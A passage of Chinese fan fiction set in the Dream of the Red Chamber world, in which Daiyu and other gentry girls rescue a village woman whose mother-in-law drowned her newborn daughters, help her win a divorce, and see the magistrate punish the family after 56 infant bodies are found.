第二天辰时,姑娘们就已聚在膳厅,用完餐后带着丫鬟们,趁着晨光走出庄子,进入村里。
怕发生意外,白先生嘱咐她们带着郎中,又让仆妇远远跟着她们,以防万一,就让她们离开了。
白先生又嘱咐庄子上的管事要时时关注她们,说自己去一趟城里,让管事下午送她们回张家,就带着素纨坐上马车离开了。
姑娘们刚出去的时候,整个村落没有一缕炊烟,道路上也没几个人,只偶尔有几个小孩子,看着她们笑,也不敢过来,远远跑开,问道,“村里人这么少?”
孙芷调笑道,“说不定我们起的太早了。”
楚楠有了猜测,道,“我们再走走,指不定等会就看到了。”
几人听了楚楠的话,倒也没追根究底,慢慢地走着,看着。
房屋错落的矗立着,村子零散的种着点树,梨树、苹果树、杏树、桃树、柿子树……有的树开着花,有的树上吊着小果子,路边一丛丛野花,清秀可人;村子里又安静清寂,远看十分美好。
黛玉叹道,“远远看去,如同桃花源,真好。”
走近一看,这里的房屋大多是泥土盖得茅草屋,有的人家两三间屋子,有的人家四五间;有的人家围了院子,有的人家只有光秃秃的房子;只有零星几家的砖瓦房,也不是全砖瓦建的,多的时候泥砖混合、瓦片茅草混合的;不像城里,一条街道都是格局差不多的砖瓦房。
姑娘们看的目瞪口呆,她们那见过这样的房子,就算家里的园子里为了野趣建的茅草屋,也不会是这种近看全无美感、尽显局促贫穷的房子。
她们只知道身边都是歌功颂德的声音,明君贤臣,虽然这几年天灾频繁,但朝廷救济及时,黛玉见过姑苏、扬州城的生活,和往年没有什么区别。
可谁知京郊村子的百姓都这么困难,那别的村子呢?
林黛玉道,“看来天下不止女子,百姓皆苦,只是女子更苦些。”
一行人走到河边,旁边是连片的麦田,田里满是劳作的村民,男的、女的,他们的腰一个比一个弯的深,汗珠连连滴在地里,脸上都被汗水浸的反光,还滚动着豆大的汗珠;还有十多岁的小伙子、小姑娘在旁边帮忙。
楚楠还不是楚楠的时候,还小的时候也在乡下生活过,见过种地,把目光从田里劳作的百姓身上转到同行的姑娘们身上,道,“他们应该已经来了两个时辰左右了。”
姑娘们震惊,微微张口,那得卯时就出来了。
楚楠道,“夏天中午热,早早出来,中午最热的时候就能歇会,早出晚归,日日如此。”
林黛玉道,“或许,我不该我们不该只想着帮助女性,还应该帮帮所有贫苦百姓,帮她们改善生活。”
杨梧没有反对,她也觉得百姓苦,她们都受百姓供养,应尽之分,道,“任重道远啊。”
其他姑娘齐齐点头赞同。
张阅道,“仅凭我们很难做到,或许,我们早先想保密的想法是错的,应该团结一切可以团结的力量,比如,我们可以想办法劝劝家里的姐妹,多个人多个力量。”
楚楠正要说话,看见田里一个妇女晕倒了,那个妇女离别人有点远,别落在后面。
楚楠怕出事,赶紧跑向那个妇女,其他的姑娘也跟着跑过去,把那个妇女抬出田野。
姑娘们本以为她们抬不起来,结果很容易就抬起来了,连连感叹,“她好轻、好瘦。”
前面专心干活的男人听到后面的动静,慢慢回头,看着妻子被一群穿戴精贵的姑娘抬走了,赶紧追过去。
追过来的男人叫李大壮,他是晕倒妇女秀娘的丈夫。
李大壮边走边想,她们应该就是村里这几天猜的前几天乘着几辆马车来到庄子里的人,听说庄子的主人是大官,也不知道是来干什么,也不知为什么抬走了秀娘;秀娘也真是的,尽给他找麻烦,想着想着把自己吓到了,头上冒出豆大的汗珠。
走到她们停着的地方,战战兢兢的问道,“我是秀娘的丈夫,她刚被你们抬走了,来问问出了什么事。”
姑娘们都要避着外男,丫鬟们把姑娘们和晕倒妇女围在中间。
楚楠身边的大丫鬟报春看见有外男追过来,赶紧过来应付,道,“她刚晕倒了,是我们家姑娘救了她,郎中正在救她。”
李大壮听了连连鞠躬道谢。
报春道,“不用谢,我们姑娘心善,遇上了怎么都会救的。”报春停顿一下,又说,“只是,你是外男,我们姑娘要避着,不方便你进去看。不过你放心,我们姑娘在,您妻子一定会有事。”
李大壮听了想不会有什么麻烦事,顿时松了一口气,“好。那我就先去干活了,秀娘麻烦你们了。”
报春道,“不麻烦,应该的。”
那男子赶紧回了地里干活,报春被他的利落给搞的懵了,问身边雪雁、宿春他们,“这么干脆,他到底关不关心她妻子啊?”
雪雁也看了全程,道,“关心肯定有的,但又不那么多,不然不让靠近看,也会找我们细细她妻子的情况,在这等着;或者让我们在他妻子醒了报信,而不是松了一口气、了了一件事似得赶紧回去忙。”
宿春叹道,“可能他想着我们一定会救他妻子,又怕与我们打交道。”
几人讨论间,秀娘醒了。
秀娘看着楚楠、黛玉她们关切的看着她,还以为自己死了,黛玉她们都是仙女,四处张望,却因为被黛玉她们层层叠叠的围着,什么都看不到,只喃喃道,“仙女怎么围着我?我这是上了天吗?是不是能见到我闺女了?我闺女呢?”
楚楠蹲在地上,拉起秀娘的手,“大姐,别怕,您还活着,我们救了你,郎中说你是刚生了孩子,营养不良,又累着了。”
秀娘听了,木楞着,没有反应。
黛玉和素心因为熙凤有了小侄子或小侄女,没少跟着听生孩子的事情,知道生了孩子最少要休养一个月,知道秀娘才生了孩子就出来干活,还累晕了,鸡皮疙瘩起了一身。
黛玉接着问,“大姐,是出了什么事吗?你要找闺女,你闺女在哪?要不我们送你回家,去看她?”
其他姑娘也吓出一身冷汗,有的还发起抖。
虽然她们不可能遇到这种事情,但她们都是女孩子,也从小听着家人的担忧“你这样,现在我们宠着你,以后嫁人可怎么办?”
世家里婆媳争斗都很隐晦,很少会搞的风雨满城,家里人看出来也不会给她们说,但他们也能从家人的只言片语中感到嫁人不是好事。
这算是她们第一次切实见到女子嫁人后的惨状,很容易感同深受起来,下定决心要帮她。
七嘴八舌地道,“别怕,大姐我们帮你。”
沈安冲动地边说边动作,“是你丈夫欺负你吗,我去找他给你报仇?”
孙芷拉住了沈安,没让她冲向田里。<
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p>秀娘突然哭起来了,“我闺女,我闺女回不来了。”
楚楠抚过秀娘的背脊,“大姐,你慢慢说,别急,难道你闺女被送人了,我们帮你找回来。”
秀娘哭了一会儿,才缓过来,压着心底的事太重了,也不管是谁,不考虑什么目的,就直接说了,“我婆家都不是人,我前日生下女儿,当晚就被我婆婆溺死了。我要拦,却被我男人困住不能动弹,昨儿个我哭了一天,也吃不下饭;今个儿一早,就被我婆婆骂着出来干活了。男人也只埋头干活,好像女儿不是他的孩子,我不是她的妻子。”
姑娘们、丫鬟们都白了脸,“啊”的惊呼出声,“他们不是人。”
她们都想骂,却骂不出来更难听的话,只低头默默流泪,静静的听着秀娘说话。
楚楠想了想,这样的人家,不如直接和离,但还是要问问情况,看看他的想法,便问,“你成亲多久了?这是第几个孩子?还有别的孩子吗?”
秀娘木然地说,“我成亲五年了,生了三个孩子”,说着说着又哭了起来,哭声越来越大,越来越痛,“生下第一个的时候。我婆婆看着是女儿,说养不起,家里困难,要抱出去找个好人家送出去,我也是新嫁娘,脸皮薄,想着还会有孩子,不敢反对;第二个又是女儿,她要送人,我知道她重男轻女,可平日被磋磨的一点不敢反对;前天晚上吵得时候,我才知道都被婆婆溺毙了,我想死的心都有了,又怕死了,没人会记得我可怜的女儿们?我活着逢年过节还能给她们烧点纸,现在我眼前不停出现女儿们的哭颜。”
旁边的姑娘、丫鬟们停了也都留下眼泪,被气的浑身发颤。
秀娘成亲五年,现在成亲大多十五左右,也才二十出头,被磋磨的看着比她们母亲还大,心生不忍,想着要怎么也要帮帮她。
楚楠又问道,“那你男人知道吗?”
秀娘哭着道,“他哪能不知道,我生了孩子不能动弹,见不了,他又不一样。我也是昨天突然不安起来,才挣扎着起来看见了。想来是我女儿的提醒,只是还是没有救下她。我哭着、跪着求,都没用。”
楚楠、黛玉齐声道,“我们帮你,你愿意和离不?以后重新开始,好好生活,你孩子在天之灵也会安慰的。”
秀娘悲哀地道,“我也想,可我娘家不会愿意,我也没地方去,只能凑合过,有什么办法。”
张阅道,“我是旁边庄子的主人,我到时候让管事去给你办,也给孩子讨个公道。”
黛玉道,“我有个绣庄,要招绣娘,你去,到时候学好手艺,养活自己,就什么都不怕了。”
姑娘和丫鬟们纷纷劝秀娘和离。
秀娘听了能给孩子讨个公道,又听着她们一句句的劝慰,仿佛重新活过来了,千恩万谢,“我离,我都听姑娘们的,到时候当牛做马报答你们。”
楚楠想现在她们一群女子不方便,便道,“走,我们先带秀娘回去。”
楚楠她们也没给李大壮留话,直接带着秀娘回去。
回了庄子,张阅问了秀娘他家在哪,就吩咐管家去处理。
另一边,白先生乘车听到一家酒楼前,和素纨进入一间酒楼,白先生学生的母亲都围坐在桌子前,留着上座。
慎亲王妃杨苼最先看到白夫人,道,“白姐姐,可算来了。”
其他夫人齐齐转头,看向门口的白先生,指着空出的上座道:“白姐姐,就等你了,快过来坐。”
20. 第二十夜
白涵漫步过去坐下,调侃道,“这么急,是想我,还是想女儿啊?”
穆郡主穆琳笑着说,“当然想姐姐,那几个讨债鬼走了,姐妹们终于能轻松点了!”
其他夫人一一附和。
寒暄几句,白涵也知道她们不是不关心女儿,也不卖关子,道,“这几日我带孩子们去温泉庄子上学了洑水,都很用心,昨儿个已经都学会了,今儿个就让她们自己去玩玩,明日再回来上课。”
白涵看着她们一脸担心,“放心,哪能让她们自己出去,安排了仆妇和郎中跟着呢。”
杨家大夫人李卿道,“哪能不相信姐姐,只是姐姐怎么刚开学就让她们学洑水。”
白涵道,“当年陈妹妹,纵然现在过得不错,到底意难平。”
李卿、穆琳她们年岁稍大些,白涵一说就想起来了,也不禁难过起来,当年陈瑶落水那事她们亲近的都知道,记忆深刻些;白汀她们年岁小的,因为姐姐的关系,也都听了几耳朵,只是知道的不太详细,又过了二三十年,早就忘得差不多了。
陈瑶落水被外男救后,知道在外人眼里她失了清白,就坚持和未婚夫退婚。
白涵她们都知道出事后未婚夫家还特意送信安慰她,她们想着人家都不在意,陈瑶也没必要坚持退婚。
只是,她们劝了又劝,也没劝住她。
好的是她父母疼爱她,弟弟也愿意一直照顾姐姐,要退婚也由着她,只是不愿意她青灯古佛的过一生。
毕竟,未婚夫家现在不嫌弃,坚定婚约,谁知道以后情裂,会不会成为她的罪名。
后来,救了她的寒门进士上门提亲,陈家里人仔细查了查,看那家人还行,到底不想女儿孤苦度日,就劝她嫁了过去。
现在想想又哪里是容易,陈家几代为官,陈瑶从小锦衣玉食;那进士家也就是个小地主,她嫁过去现在肯定难以适应。
后来,那进士被派了县令,陈家出了些力,最后去了还算富裕的县。现在淮阳府做府丞,妾室成群,对陈瑶还算好,重视嫡子女。只是,有陈家、陈大人在,他也不能对陈瑶不好。
几人脑子过了一遍,又想起来这些年和水有关的风风雨雨,顿时感慨,“姐姐远见,防患于未然,授人以渔。如今,她们哪怕落水,也能自救,甚好。”
白涵看大家越来越伤感,转移话题道,“你们也别担心孩子身体,我特意带她们去温泉庄子学的,考虑天热,用的温水,只学会后让她们在冷水里试过一次,出来马上让她们泡了温泉,一点也不会伤身体。”
夫人们道,“白姐姐,我们把孩子交给姐姐,就是放心姐姐,哪能不知道姐姐的周全。”
孔词调笑道,“嫂嫂比我都疼黛玉、阅阅她们,有你在,那用得着我们担心。”
众人调笑几句,白涵想起来意,她把她们的孩子带上一条充满荆棘的道路,总要给人家母亲一个交代,总要征求人家母亲的同意,便正色道,“她们都很坚定,这次洑水我本意给她们五天时间,结果三天就都学会了。”
白涵早早就给各位母亲们去信说了姑娘们的打算,这次也算给她们的考验,母亲们听了且喜且悲。
白涵、穆琳、谭晏、杨苼、吴雯、李卿几个年龄大些,生于昭明大长公主摄政早期,自幼崇拜崇拜长公主,长到十五岁,拖了家里的关系去公主跟前当了女官,受公主教导,帮着打下手,也算近距离旁观了公主的抗争和失败。
后来,长公主失败了,远走异乡。走前还给她们安排了后路,她们后来嫁人生子,过得还算好,举案齐眉,到底意难平。
白涵幸也不幸,嫁给两情相悦的丈夫,可丈夫却被卷入又一轮的权势争斗,早逝。
谭晏、穆琳几人听了女儿的选择,不禁想起长公主、想起她们的当年、想起她们的现在,不禁潸然泪下,到底说不出阻拦女儿的说,连连道,“一定会支持女儿。”
白涵欣慰地说,“我们那会儿多靠着公主摄政,只是到底……到底势单力薄。”她们都知道,隐在后面的话是还有皇帝,还有朝堂诸公,“现在,孩子们比我们那会儿聪明多了,她们打算从女学开始。”
夫人们到底多活了些年,听了女学就知道孩子们的打算,“把我们拍死在沙滩上了。”
白涵道,“当年在姑苏,林大人请了先生教黛玉,黛玉又提议,邀请了表姐妹们、族姐妹们,后来,姑苏官宦人家的姑娘听了,也来了,林家女学现在都在姑苏办的如火如荼。”
熟悉林海夫妇的孔词道,“要么说敏妹妹夫妻开明呢!还是他们疼女儿,黛玉提了,就同意了,现在黛玉来了京城,林家女学照旧办着呢。”
穆郡主道,“林大人看来还是不该狂生本色!”
慎亲王妃也道,“黛玉也是个好孩子。”
孔词也道,“要不说呢,我嫂嫂给黛玉当了几年先生,心可就完全偏过去了。”
白涵听了,手指着孔词虚点了点,“你啊、你啊……都是好孩子,我都疼。”
众人笑成一团,话题又转向儿女亲事,一个个愁的。
张管事听了张阅的吩咐,带着两个随从,赶忙去了李家。
这会儿已经正午了,田里劳作的百姓都已经回家。
张管事向一个路过的汉子问道,“劳驾,李大壮怎么走?”
这汉子看了张管事一身棉衣,体面极了,丛生敬畏,也不多话,忙道,“我带您去。”
路过的时候,村里人难得看见体面人,想着有热闹瞧,赶忙跟上去看热闹。
到了李大壮家门口,院子里还站这个老妇人骂着,“秀娘这个没用的,又跑哪去了。”
那汉子忙道,“李大娘,有人找大壮。”
李大壮从窗户看了,想起今天救了秀娘的人,肯定和她们有关,只是她们无声无息的带走了秀娘,怕来者不善,就没躲着没出来。
看张管事停在李大壮家,窃窃私语道,“他们家是怎么了?是好事还是坏事?”
李大娘转头看见张管事,一身体面,赶紧笑着往出走出来,以为有什么好事要来她家,满面春光,又有点面对贵人的谄媚,“您老有什么事?”
张管事严肃道,“我家姑娘救了你家秀娘,说你溺毙了女儿,要和离,姑娘吩咐我来办?”
围观的村民议论纷纷,“我说呢,她们家秀娘生了三个了,竟然都送人了。”
“没想到李大娘尽然这么狠,竟然把送孙女都溺毙了。”
“谁让秀娘一个儿子都没生下?”
“李大壮也狠心,就由着她娘。”
“我说这两天秀娘生了,怎么没听到她家喜信。原来……是三个都溺毙了,还是溺毙了才生的?”
“这都能忍,秀娘也是个软弱的。”
“也没听说啊,不是说女孩家里穷,养不起,还吹嘘,要送有钱人家享福去?”
……
李大娘瞬间变了脸色,撒起泼来,“我家秀娘呢?想和离,没门?她生是我家人,死是我家鬼!”又向院子里吼着,“都死人啊,快出来。”
房子里慢慢走出五个男的,四个小媳妇,男的壮硕,女的瘦小,都畏畏缩缩的,一看就是被磋磨的狠。
张管事怕人说张家欺压百姓,便没有打出张家的名号,想着客客气气的解决。
只是秀才遇见兵,还没说呢,就被直接拒绝了,还撒起泼来,但他们看着两个膀大腰圆的随从,也不敢对张管事怎么样。
张管事解释道,“秀娘今日在田里晕倒了,被我们姑娘救了,在庄子里。秀娘说三个孩子都被你们溺毙了,过不下去了,要和离。我们姑娘听了不忍,说了会帮她,你们要是不愿意,我们就上公堂。溺死孩子可是犯罪的。”
李大娘听了有点怕,又想着溺毙婴儿的人家多了,也没见把谁家送上公堂的,坐在地上哭天抢地起来,“快来看啊,有钱人家的姑娘要拆散我们家,我们不和离,还要把我们送上公堂,没天理啊,没天理。”
李家的几个小娘子围着李大娘,劝她,只是老妇人根本不理他们,只一边哭,一边捶地。
她们也受过罪,知道秀娘碰上好事了。她们比秀娘幸运点,生了儿子,被磋磨的轻点;又和秀娘一样不幸,她们也生过女儿,也没留下,现在想来女儿也被溺毙了,也难受,恨的牙痒痒;可还有儿子,日子还要过,又有什么办法。
一边想借着张管事,让婆婆吃点苦;一边又怕以后日子不好过。
张管事本想着李家不把秀娘当人,一纸和离书,很容易拿到,现在看来李家是不想放过她。
张管事看着李大娘,又看着院里的
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李大壮他们问道,“你们确定不和离吗?溺毙婴儿可是要吃牢饭的?”
李大娘听了,想着反正她都倒粪坑里了,家里什么都找不到;而且,她只知道张家庄子和她们不一样,情况比她们好,具体怎么样可不知道,道,“溺毙婴儿,谁见得?别以为你们有权有势,就能拐卖我家儿媳,她可是良家妇女。”
张管事听了她满口胡言,觉得今日解决不了了。
张管事听罢,看了眼院子里众人的反应,便带着随从就走了。
张阅知道这事处理大概要些时间,不放心离开;明天又要上课,不能失信于先生。
商量过后决定,楚楠、张阅、黛玉留下,等事情解决了再回去;其他的回去上课。
到时候,楚楠给回去的孙芷她们后说后续,孙芷她们给她们讲这几日耽搁的课。
张阅又写了封信,让李思交给伯母和母亲。
姑娘们知道留着也无济于事,想着回去好好学习,以后好帮更多的人,不至于无能为力。
张管事回了庄子,赶紧去给张阅他们汇报。
张管事知道张阅她们肯定守着秀娘,去了安顿秀娘的房子,果然张阅身边的丫鬟在外面守着。
张管事问,“姑娘在吗,我去李家回来了。”
张阅听见,走到窗边问,“怎么样,拿到和离书了吗?”
张管事恭敬的回道,“那李大娘一点道理也不讲,一哭二闹,根本不同意和离,连溺毙也不同。”
张阅道,“若没有合理书,秀娘想要给孩子讨回公道,告他们肯定要受罪。”
秀娘哭着道,“她不会放过我的,没事,姑娘,为了给孩子讨个公道,哪怕要我的命,我都愿意。”
听了秀娘的话,守着房间的张阅、楚楠、黛玉都很震撼,原来,母亲为了孩子可以不惜一切,明明秀娘身体还很虚弱。
楚楠道,“宜早不宜晚,张管事,你今日就找个讼师写个讼状,递给村子所在县的县令,就说是我吩咐的。”
黛玉道,“好,快,到时候指不定县令看着秀娘身体不好,能免了告长辈、告夫要受的杀威棒,起码能轻点”
张阅也道,“听郡主的,也可以说我爹的名字。”
张管事道,“听姑娘和郡主的。”
张管事听了,拿着丫鬟送出来的楚楠的印鉴,赶紧离开;顶着正午的太阳,奔向县衙。
毕竟,他在庄子上没有什么上升空间,办好入了郡主、姑娘的眼,以后也能有个好前程。
黛玉安慰秀娘道,“别怕,我们一定会给你讨回公道的。到时候去了绣庄,重新开始生活。要是你认识其他过得不好的妇人,也可以介绍她们去绣庄学个手艺,起码能过的好点。要有麻烦,到时候就给管事说,就来找我们。”
秀娘听了,很是感动,“谢谢姑娘,谢谢……”
张管事到了县里,先找了个讼师写了讼状;又借着张家和郡主的名头见了庄子所属泰安县吴县令,给吴县令看了郡主的印鉴,说了郡主和张阅的要求。
吴县令听了张家和郡主的要求,连连表示要伸张正义,又派了能排出的所有衙役去村里细查。
衙役赶去李家,果然什么都没查到。
又问了村里村民,在衙役的震慑下,李家怎么磋磨儿媳妇的倒都说了;只是各家多有溺毙女婴、女婴送出去自生自灭的事情,一闻到溺婴,就说不知道。
晚上了,村民们想着衙役不可能找到什么,就放心的回去了。
衙役们一无所获,想着吴县令的慎重,又不敢一无所获地回去;在夜幕下,继续寻找。
“如果确有其事的话,他们应该毁尸灭迹了,可是在哪”?
一个精瘦干练的衙役提议道,“粪坑,我曾听过,有人家会把女婴溺毙在恭桶里。”
“小沈,恶不恶心?”
领头衙役道,“翻。”
衙役们捂着鼻子,把粪坑里的东西往出翻。
翻到底部,果然显出无数具婴儿尸体,见惯场面的衙役看见都被惊得连连后退,又的衙役甚至直接吐了一地。
“小沈,看来你说对了。”
“丧心病狂。”
“我们赶紧收拾了,带回县衙,听大人指示。”
衙役们收敛了尸骨,带回了衙门。
21. 第二十一夜
衙役回到衙门的后,领头的衙役让衙役们把婴儿尸体抬去停尸房;自己赶去见吴县令,向吴县令汇报,“大人,我们在村里搜了一圈,什么都没找到;最后,小沈提议搜粪坑,才搜出婴儿尸体五十六具,都是女婴。”说道最后,衙役的情绪很是沉痛。
吴县令听了这个数字错愕许久,“小李啊……”后面的话半晌没有说出来,他知道,死去的女婴远不止这个数字。他作为一地父母官,人口、经济、教化……都是他的政绩,也是他的责任。
这是他的失职啊!
这还是京郊的村子啊!外地还不知道怎么触目惊心呢?
最后,吴县令咽下到了嘴边的话,只道,“明日早上就去传李家人来上堂,再邀请村里里正、老人来听堂;记得去了后去张家庄子上给郡主也说一下。”话罢,县令挥了手,“回去都早点休息吧。”
他得好好想想怎么处理,男女人数极不平衡,会严重影响婚嫁、生育、人口,不能再让事情恶化下去了。
吴县令想,这已经不是他一人所能处理,喊了县丞等商量,深夜才商量出一个初步方案,写折子给顺天府府尹、大理寺和刑部报告;又交代县丞第二日一早安排送出,送走县丞等下属后才安寝。
第二日晨光熹微,李衙役就带着一班衙役去了村里,县丞安排衙役去大理寺、刑部、顺天府送折子。
衙役们奔向村里,待李家人上堂;李衙役让沈衙役去见里正,最后在村口会和。
李衙役自己走向张家庄子,敲响张家庄子的大门,见了张管家,告诉了张管家搜查结果和升堂时辰;又让张管家尽快转告郡主,带秀娘前往县衙,便不顾张管家留客,前往村口与衙役会和。
李衙役等了不到一刻钟,沈衙役就带着里正和村里老人,其他衙役也带着李家众人到了村口;众人会合后,快步前往县衙。
里正、村里老人都愁眉苦脸,暗道不好;李家男子沉默寡言,看着李大娘的眼里满是怨恨,李家女人一脸麻木,李大娘骂骂咧咧,后来被衙役镇压,不过一会儿,又旧态复萌。
张管家听了消息,感觉不是姑娘和郡主几个姑娘能应付的,派人快速去张府报信;又赶紧去姑娘们院子问,“姑娘们可收拾好了,衙门有信来报。”
小丫鬟听了赶紧去屋里回话,张阅道,“让管家在厅里等着,我们马上来,你再去请郡主、林姑娘和秀娘。”又嘱咐道,“看秀娘状态好再告诉她。”
小丫鬟出来转达了张阅的指示,张管家马上离开;小丫鬟又去见了林黛玉和楚楠,二人忙道“马上去”;小丫鬟听了信,赶忙去看秀娘,秀娘已经早早起来坐在桌子前,与昨日比,仿若新生,小丫鬟忙道,“姐姐,怎么这就醒了,你可要好好休息。”
秀娘道,“我好多了,我们农家人没那么多讲究,多亏了姑娘们救我,今天好多了。”
丫鬟看秀娘状态果然不错,才道,“张管家说衙门回信了,姑娘说让来请您,到厅里说。”
秀娘听了,激动地站起来,忙往外冲,“那赶紧走。”
丫鬟追着秀娘去了厅里,楚楠、林黛玉、张阅已经到了,听到了消息。
她们纵然难过,也不如当事人。几个姑娘你看我,我看你,不知怎么说。
秀娘受了多年磋磨,坚持着、活着,自会察言观色,看了姑娘们脸色,便知事情不好,说道,“姑娘们,发生了什么,你们放心,我受得住。”
楚楠想迟早要挨这一刀,便说道,“昨日衙役在村里粪坑搜到五十六具婴儿尸体,已经送到县衙;衙役刚送了消息,今日开堂。”
秀娘听了,脑子顿时一片空白,身子瘫软的坐在地上,泪流满面,喃喃道,“他们不是人,都不是人,我要接我女儿回来,接女儿……”
楚楠她们赶紧安慰秀娘,劝住秀娘后,收拾了下,便在张管家、随从、仆妇、丫鬟们的护送下,带着秀娘前往县衙。
到县衙时,李家众人已经在台上候着,县衙外围满了人,黛玉一行人在随从们的护送下挤进县衙大堂。
张阅、楚楠、林黛玉在张管家的陪伴下前去拜见吴县令,秀娘在丫鬟们的陪伴下等待。
李大娘看见秀娘来,瞬间扑过去厮打她,嘴里骂着,“你个害人精、不下蛋的母鸡……”
张管家和仆妇们看见李大娘扑过去,赶紧挡住。
衙役们看着李大娘闹事,赶紧过来阻止,“扰乱公堂,打!”
李大娘跪下连连求饶,“官爷,我不敢了,我再也不敢了。”
衙役看她还算诚心,又年老了,便走开了。
李大娘这下安分起来。
白涵昨日听了信,又担心,又为学生的善良骄傲,一夜辗转难眠。
第二日一早收到随从传信时,张衡已经去上朝,也无法,只赶忙给慎亲王妃杨苼传了消息,又让人去请孔词。
白涵孔词妯娌商量后,孔词在家等消息,又安排好学堂的事情,才带着儿子赶往县衙。
一路说好,自己去见县令夫人,张阐去见县令了解情况。
白涵母子在县衙门口刚巧碰到赶过来的杨苼和世子楚彬,几人寒暄见礼之间;县令夫人也听了门口动静,赶紧迎出来,知道她们来意后,忙让随从带张阐和楚彬去见县令。
县令夫人与白涵、杨苼见礼,互相认识。
县令夫人名安宁,是吴县令尚未高中时便定下的未婚妻,两人也算风雨共度。
几人稍寒暄后,便说起事情始末,安宁听后对黛玉几个姑娘好感顿生;大家都是女子,更能对女子的遭遇感同身受,相谈甚欢。
后堂,张阅的堂兄张阐、慎亲王世子楚彬在和吴县令会面,两人先是表示了母亲见了县令夫人,让他们传达对妹妹不懂事给吴县令添麻烦的抱歉,又谢过吴县令的担待,赞扬了吴县令的尽职尽责。
吴县令连连推辞,他心知肚明,他是想要借郡主、张姑娘的事搭上慎亲王、张家的船,好在官场上有一番作为。
不然,没有靠山,在官场上即使有作为,也只是被生吞活剥的下场。
几人也算相谈甚欢。
林黛玉、张阅、楚楠走到门口,楚楠、张阅听到兄长的声音,身体顿时一僵,两人看向彼此、又看向林黛玉,不知如何是好。
黛玉这时说道,“两位师兄来了,想来先生和王妃姨妈也来了。”
楚楠、张阅的身体更僵了,她们不后悔,却害怕家人因为她们的冲动为此罚她们,她们的理想从此折戟沉沙。
特别是楚楠,她的印象里母妃一直是再守礼不过的贵夫人,也一直把她往淑女闺秀的方向培养。她知道母妃辛苦,不敢有丝毫差错;纵不满现状,也不敢表露丝毫,就怕连累母妃。这次下定决定未女性做些什么,可却不敢告诉母妃,怕辜负母妃。
黛玉调笑道,“我看两个姐姐聪明一世,糊涂一时。先生既然这么教我们,肯定告诉过姨妈们,经过姨妈的同意。”
黛玉一语惊醒梦中人,张阅也知黛玉比她更了解伯母,向楚楠点头,楚楠如释重负,赞道,“妹妹果然有一颗七巧玲珑心。”
几人互相整理下遗容,让门口的随从通报。
吴县令听了郡主、张姑娘、林姑娘前来拜访,赶忙让随从请她们进来。
张阅、林黛玉、郡主进房间,看里面很是朴素,对吴县令的好感又深了点,恭色见过县令和兄长/世兄/堂兄。
吴县令连道不敢当,赶忙请她们坐下。
几人闲聊间,才知道吴县令原来还与林海是同年好友,只是他官场不得意;林海又是守孝,又是外任,联系渐渐淡了。
遂与黛玉认了叔侄,黛玉几人顿生又心生亲近之意。
寒暄几句,吴县令了解了秀娘事件始末,黛玉几人倒也没有提什么让吴县令为难的要求,只说秀娘才生产完,又在田里晕倒,身体不好,希望能饶了秀娘的杀威棒,或者延后。
吴县令也不是腐朽之辈,知道他会酌情考虑。
几人闲谈几句,吴县令便说升堂时辰到,让黛玉几人在后台旁听,并让随从去问白涵、杨苼是否有意前来旁听。
黛玉几人并没有听吴县令的话留在后堂,而是拒绝了他的美意,黛玉道,“世叔美意,原不该辞,只是我们帮了秀娘,想要在前面给她鼓劲。”
郡主和张阅也齐齐点头。
吴县令略劝了劝,又想着不是什么大事,就允了。
楚彬、张阐护送黛玉几人到了大堂,黛玉几人走向秀娘,安慰了她一会儿,才走到县衙门口等待。
几人看到卫若兰、柳湘莲并几个见过的世兄们也在外面围观,只点头问礼,便没再说话。
县衙大堂上两列衙役喊着;“威、武,威、武……”
吴县令在威武声中迈着庄重的步伐进入大堂、坐到案后,拍下惊堂木,“升堂。带原告、被告。”
吴县令道,“原告递诉状。”
张管事递上诉状,吴县令又看了一遍诉状。
吴县令道,“原告诉冤情。”
秀娘想着几位姑娘的叮嘱,出前跪下,“民女秀娘,四年前嫁入李家,第一年生长女,第二年生次女,婆婆告诉我家里穷养不起,要送人了;我才嫁入李家,家里男人也听婆婆的,不敢反抗婆婆,想着还会有孩子;第二年生了第二个孩子,我都没见到,就被送人了,求着她把孩子要回来
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,被打了又打;四天前,我又生了第三个女儿,生下就被抱走了,我挣扎着跟出去,看见她们要溺毙她,我扑过去,却被我男人拦住了;第三天,婆婆就赶我去田里干活,晕倒了,被庄子上的几位姑娘救了,姑娘们心好,听了我遭遇,说要给我讨个公道,要帮我和离,李家不愿意,姑娘们才帮我把他们告上了公堂。”
秀娘说到最后,难过的不能自已,泣不成声、语不成句,话说完后,头重重的磕在地上,“民女愿受杀威棒,求大人给民女做主,为无数无辜的女婴做主。”
秀娘喃喃道,“她们连眼睛都没睁开,就没了。”
女子们听完了,脸上都挂上了泪。
后台的杨苼、白涵、安宁也满面泪水,怒火丛生。
男子们也都满面悲色。
当然,也有人觉得妻告夫家,是为不孝。
外面女子纷纷喊着为秀娘求情。
吴县令听后一拍惊堂木道,“肃静。妻告夫,仗责十,念在秀娘刚刚生产,押后实行。传被告。”
李家众人出列,跪在地上,喊道,“草民冤枉。”
吴县令审问几句,李大娘拒不承认。
吴县令看他们死不悔改,道,“传证据、传仵作。”
一队衙役带着昨日收敛回的婴儿尸体到了堂上,仵作道,“五十六具尸体都是女婴,三十人被捂死,二十六人被捂死。”
外面听得众人哗然。
男人大多不把女子的命当命,可这么多女婴摆在一起,有的都成了白骨,很是触目惊心。
女子们身体一软,互相搀扶着才没有软倒在地。
秀娘和李家的几个失去过女儿的妯娌看见尸体的那刻,就扑了过去,悲声喊道,“我的女儿啊。”
衙役们拦住往前扑的绣娘和李家几个女人。
里正和村里老人看了,喃喃道,“完了,全完了。”
李家众人也瘫软在堂上。
吴县令问道,“被告可认罪?”
李家众人看证据确凿,供认不讳,连连磕头,“草民认罪。”
李大娘道,“我没罪,丫头片子命贱,就不该粮食,又不是我这样做。”
里正听了顿感不好,恨恨地盯着李大娘。
吴县令悲悯道,“你也是女子。”又提高声音肃声道,“如此惨案,非一人所为。现宣布处罚结果:秀娘与李大壮和离,李大娘坐牢十年,李家所有男子服徭役十年,李大娘和李家男子各仗八十,现在起效实行。本县将派衙役清查所辖所有村子,犯案者、从犯者将根据情节轻重量刑。我已将此案上报刑部、大理寺和顺天府,到时候官府会有专人清查溺婴事件,坦白从宽,望各位奔走相告,引以为戒。”
吴县令重申道,“以后再有此等事情,尽管来找本县主持公道,从严惩治。”
吴县令又宣布,“县衙会挑选吉日下葬所有婴儿尸体,请高僧为死者超度。到时候县衙会公布时间,有意者可来吊唁。”
秀娘和李家小媳妇们跪下连连道,“谢谢青天大老爷、谢谢青天大老爷。”
吴县令一拍惊堂木,“散堂。”
仆妇们赶忙劝慰,扶起她们。
女子们纷纷喜极而泣。
黛玉几人拉着手道,“我们成功了。”
